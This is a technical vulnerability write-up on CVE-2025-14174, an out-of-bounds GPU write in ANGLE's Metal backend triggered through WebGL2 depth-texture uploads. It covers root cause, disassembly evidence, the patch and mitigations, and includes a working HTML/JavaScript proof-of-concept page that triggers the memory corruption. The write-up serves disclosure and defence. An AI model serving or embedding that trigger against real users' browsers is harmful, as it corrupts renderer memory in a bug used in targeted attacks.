Technical analysis and proof-of-concept for CVE-2025-14174
| CVE | CVE-2025-14174 |
| Severity | High |
| Exploited ITW | Yes - targeted attacks on iOS < 26 |
| Affected | iOS Safari, macOS Chrome/Chromium/Electron (not macOS Safari) |
| Status | Patched in ANGLE commit 95a32cb |
| Credit | Apple, Google Threat Analysis Group |
In-the-Wild Exploitation
According to Apple, CVE-2025-14174 was exploited as part of an "extremely sophisticated attack against specific targeted individuals" on iOS versions before iOS 26.
The attack chain included:
- CVE-2025-14174 (this writeup) - ANGLE Metal OOB write
- CVE-2025-43529 (WebKit Bug 302502) - WebKit use-after-free
Table of Contents
- Summary
- Affected Platforms
- Impact
- Root Cause
- Trigger Conditions
- Technical Analysis
- Proof of Concept
- The Fix
- Detection Notes
- Mitigations
- References
Summary
An out-of-bounds (OOB) write vulnerability exists in ANGLE's Metal backend when uploading depth textures via a staging buffer. The staging buffer size is calculated using GL_UNPACK_IMAGE_HEIGHT instead of the actual texture height. When UNPACK_IMAGE_HEIGHT < height, ANGLE allocates an undersized buffer and subsequently writes height rows into it, causing a GPU memory corruption in the renderer process.
Affected Platforms
This vulnerability affects applications using ANGLE's Metal backend for WebGL:
| Platform | Software | Affected | Notes |
|---|---|---|---|
| iOS | Safari | Yes | WebKit on iOS uses ANGLE Metal for WebGL |
| macOS | Chrome / Chromium | Yes | Uses ANGLE Metal backend |
| macOS | Electron apps | Yes | Uses Chromium's ANGLE implementation |
| macOS | Safari | No | Uses WebKit's native Metal WebGL, not ANGLE |
Platform Details
iOS Safari is affected. On iOS, WebKit uses ANGLE as its WebGL backend, making Safari on iPhone and iPad vulnerable.
macOS Safari is NOT affected. On macOS, Safari uses WebKit's own native WebGL implementation that interfaces directly with Metal, bypassing ANGLE entirely.
macOS Chrome is affected. Google Chrome running on macOS 26.1 appeared vulnerable during testing, as it uses ANGLE's Metal backend for WebGL.
The vulnerable code path exists in ANGLE's TextureMtl class (setSubImageImpl / setPerSliceSubImage / SaturateDepth).
Impact
| Severity | Description |
|---|---|
| Confirmed | GPU/Metal backend write past end of staging buffer |
| Confirmed | Reproducible via WebGL2 + PBO + DEPTH_COMPONENT32F |
| Plausible | GPU process crash or context loss under memory pressure |
| Theoretical | Cross-resource corruption in GPU memory (not demonstrated) |
Key characteristics:
- The bug is silent in WebGL (typically returns
NO_ERROR) - No visible rendering artifacts in most cases
- Metal validation layers may not detect the overflow
- Potential for GPU-process instability or exploitation depending on heap layout
Root Cause
In the D32F depth texture upload path, ANGLE computes pixelsDepthPitch from GL_UNPACK_IMAGE_HEIGHT and uses this value to size the staging MTLBuffer. However, the subsequent compute dispatch (depth saturation) uses the actual texture height for the operation, causing an OOB write when the parameters differ.
Size Mismatch Example
For width=1, height=512, UNPACK_IMAGE_HEIGHT=128, DEPTH_COMPONENT32F:
| Parameter | Calculation | Value |
|---|---|---|
| Row pitch | width * sizeof(float) |
4 bytes |
| Staging buffer (allocated) | rowPitch * UNPACK_IMAGE_HEIGHT |
512 bytes |
| Compute dispatch (written) | rowPitch * actualHeight |
2048 bytes |
| OOB write | 2048 - 512 |
1536 bytes |
Trigger Conditions
All of the following must be true:
- WebGL2 context (required for PBO support)
- Depth texture format
DEPTH_COMPONENT32F(verified; other depth formats may also be affected but are untested) - Pixel Buffer Object (PBO) bound to
PIXEL_UNPACK_BUFFER GL_UNPACK_IMAGE_HEIGHTset to a value less than actual texture height- ANGLE Metal backend active (iOS Safari, or Chrome/Chromium/Electron on macOS)
Why WebGL Doesn't Block This
GL_UNPACK_IMAGE_HEIGHT is defined by the GL spec to affect 3D/array texture uploads, not 2D textures. For TEXTURE_2D:
- The parameter is accepted but does not participate in WebGL validation
- WebGL does not reject
UNPACK_IMAGE_HEIGHT < heightfor 2D textures - ANGLE incorrectly uses this parameter to size the staging buffer for depth uploads
Technical Analysis
Vulnerable Call Chain
WebGL API
├── gl.pixelStorei(UNPACK_IMAGE_HEIGHT, small_value)
├── gl.bindBuffer(PIXEL_UNPACK_BUFFER, pbo)
└── gl.texImage2D(TEXTURE_2D, 0, DEPTH_COMPONENT32F, w, h, ...)
│
▼
ANGLE (Metal Backend)
├── TextureMtl::setImageImpl
│ └── TextureMtl::setSubImageImpl
│ └── Computes pixelsDepthPitch = rowPitch × UNPACK_IMAGE_HEIGHT
│
├── TextureMtl::setPerSliceSubImage
│ └── mtl::Buffer::MakeBufferWithStorageMode(context, 0, pixelsDepthPitch, ...) ← UNDERSIZED
│
└── SaturateDepth
├── getComputeCommandEncoder()
├── setBuffer(stagingBuffer, index=2)
└── dispatchThreads(MTLSize{width, actualHeight}) ← USES REAL HEIGHT
Binary Evidence (iOS 26.1)
| Function | Address | Role |
|---|---|---|
setSubImageImpl |
0x272fa9028 |
Computes undersized depthPitch |
setPerSliceSubImage |
0x272fac240 |
Allocates undersized staging buffer |
MakeBufferWithStorageMode |
0x272ef19bc |
Creates MTLBuffer with wrong size |
SaturateDepth |
0x272facfa4 |
Dispatches compute with actual dimensions |
; setSubImageImpl - compute undersized depthPitch 0x272fa90f4: ldr w8, [x25, #0x10] ; load UNPACK_IMAGE_HEIGHT 0x272fa9100: umull x3, w2, w8 ; depthPitch = rowPitch * UNPACK_IMAGE_HEIGHT ; setPerSliceSubImage - call MakeBufferWithStorageMode with undersized depthPitch 0x272fac5bc: mov x2, x19 ; x2 = size (undersized depthPitch) 0x272fac5c4: bl #0x272ef19bc ; call MakeBufferWithStorageMode
Binary Evidence (macOS 26.1)
| Function | Address | Role |
|---|---|---|
setSubImageImpl |
0x22c6d10f4 |
Computes undersized depthPitch |
setPerSliceSubImage |
0x22c6d4398 |
Allocates undersized staging buffer |
MakeBufferWithStorageMode |
0x22c619490 |
Creates MTLBuffer with wrong size |
SaturateDepth |
0x22c6d5144 |
Dispatches compute with actual dimensions |
; setSubImageImpl - compute undersized depthPitch 0x22c6d11c0: ldr w8, [x25, #0x10] ; load UNPACK_IMAGE_HEIGHT 0x22c6d11cc: umull x3, w2, w8 ; depthPitch = rowPitch * UNPACK_IMAGE_HEIGHT ; setPerSliceSubImage - call MakeBufferWithStorageMode with undersized depthPitch 0x22c6d461c: ldr x20, [sp, #0x48] ; load depthPitch from stack 0x22c6d4628: bl MakeBufferWithStorageMode
The SaturateDepth function subsequently dispatches a Metal compute shader using the actual texture dimensions, writing past the undersized staging buffer.
Proof of Concept
Minimal Trigger (WebGL2)
<!DOCTYPE html> <html> <head><title>CVE-2025-14174 PoC</title></head> <body> <canvas id="c" width="1" height="1"></canvas> <script> const gl = document.getElementById('c').getContext('webgl2'); if (!gl) throw new Error('WebGL2 not supported'); const width = 256, height = 256; const unpackHeight = 16; // << smaller than actual height // Create PBO with depth data const pbo = gl.createBuffer(); gl.bindBuffer(gl.PIXEL_UNPACK_BUFFER, pbo); const data = new Float32Array(width * height); gl.bufferData(gl.PIXEL_UNPACK_BUFFER, data, gl.STATIC_DRAW); // Set the mismatch parameter gl.pixelStorei(gl.UNPACK_IMAGE_HEIGHT, unpackHeight); // Upload depth texture - triggers OOB write const tex = gl.createTexture(); gl.bindTexture(gl.TEXTURE_2D, tex); gl.texImage2D( gl.TEXTURE_2D, 0, gl.DEPTH_COMPONENT32F, width, height, 0, gl.DEPTH_COMPONENT, gl.FLOAT, 0 ); // Check for errors (typically returns NO_ERROR despite OOB) const err = gl.getError(); console.log('gl.getError():', err === gl.NO_ERROR ? 'NO_ERROR' : err); </script> </body> </html>
Expected result on vulnerable systems: gl.getError() returns NO_ERROR despite the OOB write occurring in the GPU process.
The Fix
ANGLE commit 95a32cb corrects the staging buffer allocation to use actual texture dimensions:
// BEFORE (vulnerable) ANGLE_TRY(mtl::Buffer::MakeBuffer(contextMtl, pixelsDepthPitch, nullptr, &stagingBuffer)); // AFTER (fixed) size_t imageSize = pixelsRowPitch * mtlArea.size.height; ANGLE_TRY(mtl::Buffer::MakeBuffer(contextMtl, imageSize, nullptr, &stagingBuffer));
Additionally, srcBytesPerImage calculation was fixed for the blit operation:
size_t srcBytesPerImage = mtlArea.size.depth > 1 ? pixelsDepthPitch : 0;
Detection Notes
This vulnerability is difficult to detect from JavaScript:
- Staging buffers are internal Metal resources in the GPU process
- WebGL typically returns
NO_ERROReven when the bug is triggered - Metal validation layers may not flag the overflow
- No visible rendering artifacts in most cases
- Requires instrumentation of Metal API calls or GPU memory debugging
Mitigations
| Approach | Description |
|---|---|
| Update | Apply platform updates containing the ANGLE fix |
| Workaround | Avoid setting UNPACK_IMAGE_HEIGHT smaller than actual height for depth textures |
| Defense-in-depth | Use fixed-size uploads where UNPACK_IMAGE_HEIGHT == height |
References
- ANGLE Fix: https://chromium.googlesource.com/angle/angle/+/95a32cb
- Chromium Bug: https://issues.chromium.org/issues/466192044
- WebKit Bug (CVE-2025-43529): https://webkit.org/b/302502
- Affected Platforms:
- iOS: Safari (WebKit uses ANGLE Metal)
- macOS: Chrome, Chromium, Electron (use ANGLE Metal)
Credits
Vulnerability Discovery: Apple, Google Threat Analysis Group
Technical Analysis: This writeup documents independent research and reverse engineering of the vulnerability.
Analysis conducted as part of SpiderWebKit security research project.